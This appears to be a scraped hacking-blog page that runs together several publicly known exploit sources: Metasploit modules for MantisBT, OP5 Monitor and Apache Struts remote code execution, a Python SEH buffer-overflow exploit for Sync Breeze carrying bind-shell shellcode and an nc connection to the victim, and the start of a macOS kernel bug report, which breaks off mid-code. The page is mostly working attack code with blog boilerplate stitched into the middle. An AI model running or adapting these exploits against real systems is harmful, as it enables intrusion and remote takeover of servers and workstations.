##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include REXML
def initialize(info = {})
super(update_info(info,
'Name' => 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability',
'Description' => %q{
This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
This version also suffers from another issue. The import page is not checking the correct user level
of the user, so it's possible to exploit this issue with any user including the anonymous one if enabled.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Egidio Romano', # discovery http://karmainsecurity.com
'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
'Christian Mehlmauer'
],
'References' =>
[
['CVE', '2014-7146'],
['CVE', '2014-8598'],
['URL', 'https://www.mantisbt.org/bugs/view.php?id=17725'],
['URL', 'https://www.mantisbt.org/bugs/view.php?id=17780']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Generic (PHP Payload)', {}]],
'DisclosureDate' => 'Nov 8 2014',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']),
OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']),
OptString.new('TARGETURI', [ true, 'Base directory path', '/'])
], self.class)
end
def get_mantis_version
xml = Document.new
xml.add_element(
"soapenv:Envelope",
{
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
'xmlns:man' => "http://futureware.biz/mantisconnect"
})
xml.root.add_element("soapenv:Header")
xml.root.add_element("soapenv:Body")
body = xml.root.elements[2]
body.add_element("man:mc_version",
{ 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }
)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'soap', 'mantisconnect.php'),
'ctype' => 'text/xml; charset=UTF-8',
'headers' => { 'SOAPAction' => 'http://www.mantisbt.org/bugs/api/soap/mantisconnect.php/mc_version'},
'data' => xml.to_s
})
if res && res.code == 200
match = res.body.match(/<ns1:mc_versionResponse.*><return xsi:type="xsd:string">(.+)<\/return><\/ns1:mc_versionResponse>/)
if match && match.length == 2
version = match[1]
print_status("Detected Mantis version #{version}")
return version
end
end
print_status("Can not detect Mantis version")
return nil
end
def check
version = get_mantis_version
return Exploit::CheckCode::Unknown if version.nil?
gem_version = Gem::Version.new(version)
gem_version_introduced = Gem::Version.new('1.2.0a3')
gem_version_fixed = Gem::Version.new('1.2.18')
if gem_version < gem_version_fixed && gem_version >= gem_version_introduced
return Msf::Exploit::CheckCode::Appears
else
return Msf::Exploit::CheckCode::Safe
end
end
def do_login()
# check for anonymous login
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login_anon.php')
})
# if the redirect contains a username (non empty), anonymous access is enabled
if res && res.redirect? && res.redirection && res.redirection.query =~ /username=[^&]+/
print_status('Anonymous access enabled, no need to log in')
session_cookie = res.get_cookies
else
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
'vars_get' => {
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
}
})
session_cookie = res.get_cookies
print_status('Logging in...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'cookie' => session_cookie,
'vars_post' => {
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
'username' => datastore['username'],
'password' => datastore['password'],
'secure_session' => 'on'
}
})
fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302
fail_with(Failure::NoAccess, 'Wrong credentials') unless res && !res.redirection.to_s.include?('login_page.php')
session_cookie = "#{session_cookie} #{res.get_cookies}"
end
session_cookie
end
def upload_xml(payload_b64, rand_text, cookies, is_check)
if is_check
timeout = 20
else
timeout = 3
end
rand_num = Rex::Text.rand_text_numeric(1, 9)
print_status('Checking XmlImportExport plugin...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'plugin.php'),
'cookie' => cookies,
'vars_get' => {
'page' => 'XmlImportExport/import'
}
})
unless res && res.code == 200 && res.body
print_error('Error trying to access XmlImportExport/import page...')
return false
end
if res.body.include?('Plugin is not registered with MantisBT')
print_error('XMLImportExport plugin is not installed')
return false
end
# Retrieving CSRF token
if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/
csrf_token = Regexp.last_match[1]
else
print_error('Error trying to read CSRF token')
return false
end
# Retrieving default project id
if res.body =~ /name="project_id" value="([0-9]+)"/
project_id = Regexp.last_match[1]
else
print_error('Error trying to read project id')
return false
end
# Retrieving default category id
if res.body =~ /name="defaultcategory">[.|\r|\r\n]*<option value="([0-9])" selected="selected" >\(select\)<\/option><option value="1">\[All Projects\] (.*)<\/option>/
category_id = Regexp.last_match[1]
category_name = Regexp.last_match[2]
else
print_error('Error trying to read default category')
return false
end
# Retrieving default max file size
if res.body =~ /name="max_file_size" value="([0-9]+)"/
max_file_size = Regexp.last_match[1]
else
print_error('Error trying to read default max file size')
return false
end
# Retrieving default step
if res.body =~ /name="step" value="([0-9]+)"/
step = Regexp.last_match[1]
else
print_error('Error trying to read default step value')
return false
end
xml_file = %Q|
<mantis version="1.2.17" urlbase="http://localhost/" issuelink="${eval(base64_decode(#{ payload_b64 }))}}" notelink="~" format="1">
<issue>
<id>#{ rand_num }</id>
<project id="#{ project_id }">#{ rand_text }</project>
<reporter id="#{ rand_num }">#{ rand_text }</reporter>
<priority id="30">normal</priority>
<severity id="50">minor</severity>
<reproducibility id="70">have not tried</reproducibility>
<status id="#{ rand_num }">new</status>
<resolution id="#{ rand_num }">open</resolution>
<projection id="#{ rand_num }">none</projection>
<category id="#{ category_id }">#{ category_name }</category>
<date_submitted>1415492267</date_submitted>
<last_updated>1415507582</last_updated>
<eta id="#{ rand_num }">none</eta>
<view_state id="#{ rand_num }">public</view_state>
<summary>#{ rand_text }</summary>
<due_date>1</due_date>
<description>{${eval(base64_decode(#{ payload_b64 }))}}1</description>
</issue>
</mantis>
|
data = Rex::MIME::Message.new
data.add_part("#{ csrf_token }", nil, nil, "form-data; name=\"plugin_xml_import_action_token\"")
data.add_part("#{ project_id }", nil, nil, "form-data; name=\"project_id\"")
data.add_part("#{ max_file_size }", nil, nil, "form-data; name=\"max_file_size\"")
data.add_part("#{ step }", nil, nil, "form-data; name=\"step\"")
data.add_part(xml_file, "text/xml", "UTF-8", "form-data; name=\"file\"; filename=\"#{ rand_text }.xml\"")
data.add_part("renumber", nil, nil, "form-data; name=\"strategy\"")
data.add_part("link", nil, nil, "form-data; name=\"fallback\"")
data.add_part("on", nil, nil, "form-data; name=\"keepcategory\"")
data.add_part("#{ category_id }", nil, nil, "form-data; name=\"defaultcategory\"")
data_post = data.to_s
print_status('Sending payload...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
'cookie' => cookies,
'ctype' => "multipart/form-data; boundary=#{ data.bound }",
'data' => data_post
}, timeout)
if res && res.body && res.body.include?('APPLICATION ERROR')
print_error('Error on uploading XML')
return false
end
# request above will time out and return nil on success
return true
end
def exec_php(php_code, is_check = false)
print_status('Checking access to MantisBT...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && (res.code == 200 || res.redirection)
# remove comments, line breaks and spaces of php_code
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
# clean b64 payload
while Rex::Text.encode_base64(payload_clean).include?('=')
payload_clean = "#{ payload_clean } "
end
payload_b64 = Rex::Text.encode_base64(payload_clean)
rand_text = Rex::Text.rand_text_alpha(5, 8)
cookies = do_login()
res_payload = upload_xml(payload_b64, rand_text, cookies, is_check)
return unless res_payload
# When a meterpreter session is active, communication with the application is lost.
# Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
cookies = do_login()
print_status("Deleting issue (#{ rand_text })...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'my_view_page.php'),
'cookie' => cookies
})
unless res && res.code == 200
print_error('Error trying to access My View page')
return false
end
if res.body =~ /title="\[@[0-9]+@\] #{ rand_text }">0+([0-9]+)<\/a>/
issue_id = Regexp.last_match[1]
else
print_error('Error trying to retrieve issue id')
return false
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bug_actiongroup_page.php'),
'cookie' => cookies,
'vars_get' => {
'bug_arr[]' => issue_id,
'action' => 'DELETE',
},
})
if res && res.body =~ /name="bug_actiongroup_DELETE_token" value="(.*)"\/>/
csrf_token = Regexp.last_match[1]
else
print_error('Error trying to retrieve CSRF token')
return false
end
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bug_actiongroup.php'),
'cookie' => cookies,
'vars_post' => {
'bug_actiongroup_DELETE_token' => csrf_token,
'bug_arr[]' => issue_id,
'action' => 'DELETE',
},
})
if res && res.code == 302 || res.body !~ /Issue #{ issue_id } not found/
print_status("Issue number (#{ issue_id }) removed")
else
print_error("Removing issue number (#{ issue_id }) has failed")
return false
end
# if check return the response
if is_check
return res_payload
else
return true
end
end
def exploit
get_mantis_version
unless exec_php(payload.encoded)
fail_with(Failure::Unknown, 'Exploit failed, aborting.')
end
end
end
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863206556
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'OP5 license.php Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary root command execution vulnerability in the
OP5 Monitor license.php. Ekelow has confirmed that OP5 Monitor versions 5.3.5,
5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
},
'Author' => [ 'Peter Osterberg <j[at]vel.nu>' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-0261'],
['OSVDB', '78064'],
['URL', 'http://secunia.com/advisories/47417/'],
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'BadChars' => '`\\|',
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl ruby python',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 05 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptString.new('URI', [true, "The full URI path to license.php", "/license.php"]),
], self.class)
end
def check
vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...")
vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
# Try running/timing 'ping localhost' to determine is system is vulnerable
start = Time.now
data = 'timestamp=1317050333`ping -c 10 127.0.0.1`&action=install&install=Install';
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'proto' => 'HTTPS',
'data' => data,
'headers' =>
{
'Connection' => 'close',
}
}, 25)
elapsed = Time.now - start
if elapsed >= 5
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
data = 'timestamp=1317050333`' + payload.encoded + '`&action=install&install=Install';
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'proto' => 'HTTPS',
'data' => data,
'headers' =>
{
'Connection' => 'close',
}
}, 25)
if(not res)
if session_created?
print_status("Session created, enjoy!")
else
print_error("No response from the server")
end
return
end
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'OP5 welcome Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary root command execution vulnerability in
OP5 Monitor welcome. Ekelow AB has confirmed that OP5 Monitor versions 5.3.5,
5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
},
'Author' => [ 'Peter Osterberg <j[at]vel.nu>' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-0262'],
['OSVDB', '78065'],
['URL', 'http://secunia.com/advisories/47417/'],
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'BadChars' => '`\\|',
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl ruby python',
}
},
'Platform' => %w{ linux unix },
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 05 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptString.new('URI', [true, "The full URI path to /op5config/welcome", "/op5config/welcome"]),
], self.class)
end
def check
vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...")
vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
# Try running/timing 'ping localhost' to determine is system is vulnerable
start = Time.now
data = 'do=do=Login&password=`ping -c 10 127.0.0.1`';
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'proto' => 'HTTPS',
'data' => data,
'headers' =>
{
'Connection' => 'close',
}
}, 25)
elapsed = Time.now - start
if elapsed >= 5
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
data = 'do=do=Login&password=`' + payload.encoded + '`';
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'proto' => 'HTTPS',
'data' => data,
'headers' =>
{
'Connection' => 'close',
}
}, 10)
if(not res)
if session_created?
print_status("Session created, enjoy!")
else
print_error("No response from the server")
end
return
end
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking # It's going to manipulate the Class Loader
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SMB::Server::Share
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts versions
1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with
the ActionForm bean population mechanism while in case of Struts 2.x the vulnerability is due
to the ParametersInterceptor. Both allow access to 'class' parameter that is directly
mapped to getClass() method and allows ClassLoader manipulation. As a result, this can
allow remote attackers to execute arbitrary Java code via crafted parameters.
},
'Author' =>
[
'Mark Thomas', # Vulnerability Discovery
'Przemyslaw Celej', # Vulnerability Discovery
'Redsadic <julian.vilas[at]gmail.com>', # Metasploit Module
'Matthew Hall <hallm[at]sec-1.com>' # SMB target
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-0094'],
['CVE', '2014-0112'],
['CVE', '2014-0114'],
['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204'],
['URL', 'https://github.com/rgielen/struts1filter/tree/develop']
],
'Platform' => %w{ linux win },
'Payload' =>
{
'Space' => 5000,
'DisableNops' => true
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
['Java',
{
'Arch' => ARCH_JAVA,
'Platform' => %w{ linux win }
},
],
['Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
['Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
]
],
'DisclosureDate' => 'Mar 06 2014',
'DefaultTarget' => 1))
register_options(
[
Opt::RPORT(8080),
OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
], self.class)
deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS')
end
def jsp_dropper(file, exe)
dropper = <<-eos
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"sun.misc.BASE64Decoder\" %>
<%@ page import=\"java.io.File\" %>
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
<% oFile.flush(); %>
<% oFile.close(); %>
<% File f = new File(\"#{file}\"); %>
<% f.setExecutable(true); %>
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
eos
dropper
end
def dump_line(uri, cmd = '')
res = send_request_cgi({
'uri' => uri,
'encode_params' => false,
'vars_get' => {
cmd => ''
},
'version' => '1.1',
'method' => 'GET'
})
res
end
def modify_class_loader(opts)
cl_prefix =
case datastore['STRUTS_VERSION']
when '1.x' then "class.classLoader"
when '2.x' then "class['classLoader']"
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'version' => '1.1',
'method' => 'GET',
'vars_get' => {
"#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory],
"#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix],
"#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix],
"#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
}
})
res
end
def check_log_file(hint)
uri = normalize_uri("/", @jsp_file)
print_status("Waiting for the server to flush the logfile")
10.times do |x|
select(nil, nil, nil, 2)
# Now make a request to trigger payload
vprint_status("Countdown #{10-x}...")
res = dump_line(uri)
# Failure. The request timed out or the server went away.
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?
# Success if the server has flushed all the sent commands to the jsp file
if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/
print_good("Log file flushed at http://#{peer}/#{@jsp_file}")
return true
end
end
false
end
# Fix the JSP payload to make it valid once is dropped
# to the log file
def fix(jsp)
output = ""
jsp.each_line do |l|
if l =~ /<%.*%>/
output << l
elsif l =~ /<%/
next
elsif l=~ /%>/
next
elsif l.chomp.empty?
next
else
output << "<% #{l.chomp} %>"
end
end
output
end
def create_jsp
if target['Arch'] == ARCH_JAVA
jsp = fix(payload.encoded)
else
if target['Platform'] == 'win'
payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "exe-small", {:arch => target.arch, :platform => target.platform})
else
payload_exe = generate_payload_exe
end
payload_file = rand_text_alphanumeric(4 + rand(4))
jsp = jsp_dropper(payload_file, payload_exe)
register_files_for_cleanup(payload_file)
end
jsp
end
def exploit
if target.name =~ /Remote SMB Resource/
begin
Timeout.timeout(datastore['SMB_DELAY']) { super }
rescue Timeout::Error
# do nothing... just finish exploit and stop smb server...
end
else
class_loader_exploit
end
end
# Used with SMB targets
def primer
self.file_name << '.jsp'
self.file_contents = payload.encoded
print_status("JSP payload available on #{unc}...")
print_status("Modifying Class Loader...")
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'version' => '1.1',
'method' => 'GET',
'vars_get' => {
'class[\'classLoader\'].resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
}
})
jsp_shell = target_uri.path.to_s.split('/')[0..-2].join('/')
jsp_shell << "/#{self.file_name}"
print_status("Accessing JSP shell at #{jsp_shell}...")
send_request_cgi({
'uri' => normalize_uri(jsp_shell),
'version' => '1.1',
'method' => 'GET',
})
end
def class_loader_exploit
prefix_jsp = rand_text_alphanumeric(3+rand(3))
date_format = rand_text_numeric(1+rand(4))
@jsp_file = prefix_jsp + date_format + ".jsp"
# Modify the Class Loader
print_status("Modifying Class Loader...")
properties = {
:directory => 'webapps/ROOT',
:prefix => prefix_jsp,
:suffix => '.jsp',
:file_date_format => date_format
}
res = modify_class_loader(properties)
unless res
fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
end
# Check if the log file exists and has been flushed
unless check_log_file(normalize_uri(target_uri.to_s))
fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
end
register_files_for_cleanup(@jsp_file)
# Prepare the JSP
print_status("Generating JSP...")
jsp = create_jsp
# Dump the JSP to the log file
print_status("Dumping JSP into the logfile...")
random_request = rand_text_alphanumeric(3 + rand(3))
uri = normalize_uri('/', random_request)
jsp.each_line do |l|
unless dump_line(uri, l.chomp)
fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
end
end
# Check log file... enjoy shell!
check_log_file(random_request)
# No matter what happened, try to 'restore' the Class Loader
properties = {
:directory => '',
:prefix => '',
:suffix => '',
:file_date_format => ''
}
modify_class_loader(properties)
end
end
#!/usr/bin/env python
# Exploit Title: Sync Breeze Enterprise v9.5.16 - Remote buffer overflow (SEH)
# Date: 2017-03-29
# Exploit Author: Daniel Teixeira
# Vendor Homepage: http://syncbreeze.com
# Software Link: http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.5.16.exe
# Version: 9.5.16
# Tested on: Windows 7 SP1 x86
import socket,os,time,struct
host = "192.168.2.186"
port = 80
#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp -b "\x00\x09\x0a\x0d\x20" -f python
shellcode = ""
shellcode += "\xd9\xc0\xd9\x74\x24\xf4\x5e\xbf\xb0\x9b\x0e\xf2\x33"
shellcode += "\xc9\xb1\x53\x31\x7e\x17\x83\xee\xfc\x03\xce\x88\xec"
shellcode += "\x07\xd2\x47\x72\xe7\x2a\x98\x13\x61\xcf\xa9\x13\x15"
shellcode += "\x84\x9a\xa3\x5d\xc8\x16\x4f\x33\xf8\xad\x3d\x9c\x0f"
shellcode += "\x05\x8b\xfa\x3e\x96\xa0\x3f\x21\x14\xbb\x13\x81\x25"
shellcode += "\x74\x66\xc0\x62\x69\x8b\x90\x3b\xe5\x3e\x04\x4f\xb3"
shellcode += "\x82\xaf\x03\x55\x83\x4c\xd3\x54\xa2\xc3\x6f\x0f\x64"
shellcode += "\xe2\xbc\x3b\x2d\xfc\xa1\x06\xe7\x77\x11\xfc\xf6\x51"
shellcode += "\x6b\xfd\x55\x9c\x43\x0c\xa7\xd9\x64\xef\xd2\x13\x97"
shellcode += "\x92\xe4\xe0\xe5\x48\x60\xf2\x4e\x1a\xd2\xde\x6f\xcf"
shellcode += "\x85\x95\x7c\xa4\xc2\xf1\x60\x3b\x06\x8a\x9d\xb0\xa9"
shellcode += "\x5c\x14\x82\x8d\x78\x7c\x50\xaf\xd9\xd8\x37\xd0\x39"
shellcode += "\x83\xe8\x74\x32\x2e\xfc\x04\x19\x27\x31\x25\xa1\xb7"
shellcode += "\x5d\x3e\xd2\x85\xc2\x94\x7c\xa6\x8b\x32\x7b\xc9\xa1"
shellcode += "\x83\x13\x34\x4a\xf4\x3a\xf3\x1e\xa4\x54\xd2\x1e\x2f"
shellcode += "\xa4\xdb\xca\xda\xac\x7a\xa5\xf8\x51\x3c\x15\xbd\xf9"
shellcode += "\xd5\x7f\x32\x26\xc5\x7f\x98\x4f\x6e\x82\x23\x7e\x33"
shellcode += "\x0b\xc5\xea\xdb\x5d\x5d\x82\x19\xba\x56\x35\x61\xe8"
shellcode += "\xce\xd1\x2a\xfa\xc9\xde\xaa\x28\x7e\x48\x21\x3f\xba"
shellcode += "\x69\x36\x6a\xea\xfe\xa1\xe0\x7b\x4d\x53\xf4\x51\x25"
shellcode += "\xf0\x67\x3e\xb5\x7f\x94\xe9\xe2\x28\x6a\xe0\x66\xc5"
shellcode += "\xd5\x5a\x94\x14\x83\xa5\x1c\xc3\x70\x2b\x9d\x86\xcd"
shellcode += "\x0f\x8d\x5e\xcd\x0b\xf9\x0e\x98\xc5\x57\xe9\x72\xa4"
shellcode += "\x01\xa3\x29\x6e\xc5\x32\x02\xb1\x93\x3a\x4f\x47\x7b"
shellcode += "\x8a\x26\x1e\x84\x23\xaf\x96\xfd\x59\x4f\x58\xd4\xd9"
shellcode += "\x7f\x13\x74\x4b\xe8\xfa\xed\xc9\x75\xfd\xd8\x0e\x80"
shellcode += "\x7e\xe8\xee\x77\x9e\x99\xeb\x3c\x18\x72\x86\x2d\xcd"
shellcode += "\x74\x35\x4d\xc4"
#Buffer overflow
junk = "A" * 2487
#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (libspp.dll)
SEH = struct.pack('<L',0x100160ae)
#Generated by mona.py v2.0, rev 568 - Immunity Debugger
egg = "w00tw00t"
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
#NOPS
nops = "\x90"
#Payload
payload = junk + nSEH + SEH + egghunter + nops * 10 + egg + shellcode + nops * (6000 - len(junk) - len(nSEH) - len(SEH) - len(egghunter) - 10 - len(egg) - len(shellcode))
#HTTP Request
request = "GET /" + payload + "HTTP/1.1" + "\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Connection: keep-alive" + "\r\n\r\n"
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.connect((host,port))
socket.send(request)
socket.close()
print "Waiting for shell..."
time.sleep(5)
os.system("nc " + host + " 4444")
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1108
SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox.
it falls through to calling:
ifnet_reset_order(ordered_indices, ifo->ifo_count)
where ordered_indicies points to attacker-controlled bytes.
ifnet_reset_order contains this code:
for (u_int32_t order_index = 0; order_index < count; order_index++) {
u_int32_t interface_index = ordered_indices[order_index]; <---------------- (a)
if (interface_index == IFSCOPE_NONE ||
(int)interface_index > if_index) { <-------------------------- (b)
break;
}
ifp = ifindex2ifnet[interface_index]; <-------------------------- (c)
if (ifp == NULL) {
continue;
}
ifnet_lock_exclusive(ifp);
TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link); <---------- (d)
ifnet_lock_done(ifp);
if_ordered_count++;
}
at (a) a controlled 32-bit value is read into an unsigned 32-bit variable.
at (b) this value is cast to a signed type for a bounds check
at (c) this value is used as an unsigned index
by providing a value with the most-significant bit set making it negative when cast to a signed type
we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds
below the ifindex2ifnet array.
This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
(on 64-bit platforms the array index wouldn't wrap around so the read would actually occur > 2GB above the array, not below)
*/
// ianbeer
#if 0
MacOS/iOS kernel memory corruption due to Bad bounds checking in SIOCSIFORDER socket ioctl
SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox.
it falls through to calling:
ifnet_reset_order(ordered_indices, ifo->ifo_count)
where ordered_indicies points to attacker-controlled bytes.
ifnet_reset_order contains this code:
for (u_int32_t order_index = 0; order_index < count; order_index++) {
u_int32_t interface_index = ordered_indices[order_index]; <---------------- (a)
if (interface_index == IFSCOPE_NONE ||
(int)interface_index > if_index) { <-------------------------- (b)
break;
}
ifp = ifindex2ifnet[interface_index]; <-------------------------- (c)
if (ifp == NULL) {
continue;
}
ifnet_lock_exclusive(ifp);
TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link); <---------- (d)
ifnet_lock_done(ifp);
if_ordered_count++;
}
at (a) a controlled 32-bit value is read into an unsigned 32-bit variable.
at (b) this value is cast to a signed type for a bounds check
at (c) this value is used as an unsigned index
by providing a value with the most-significant bit set making it negative when cast to a signed type
we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds
below the ifindex2ifnet array.
This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <mach/mach.h>
struct if_order {
u_int32_t ifo_count;
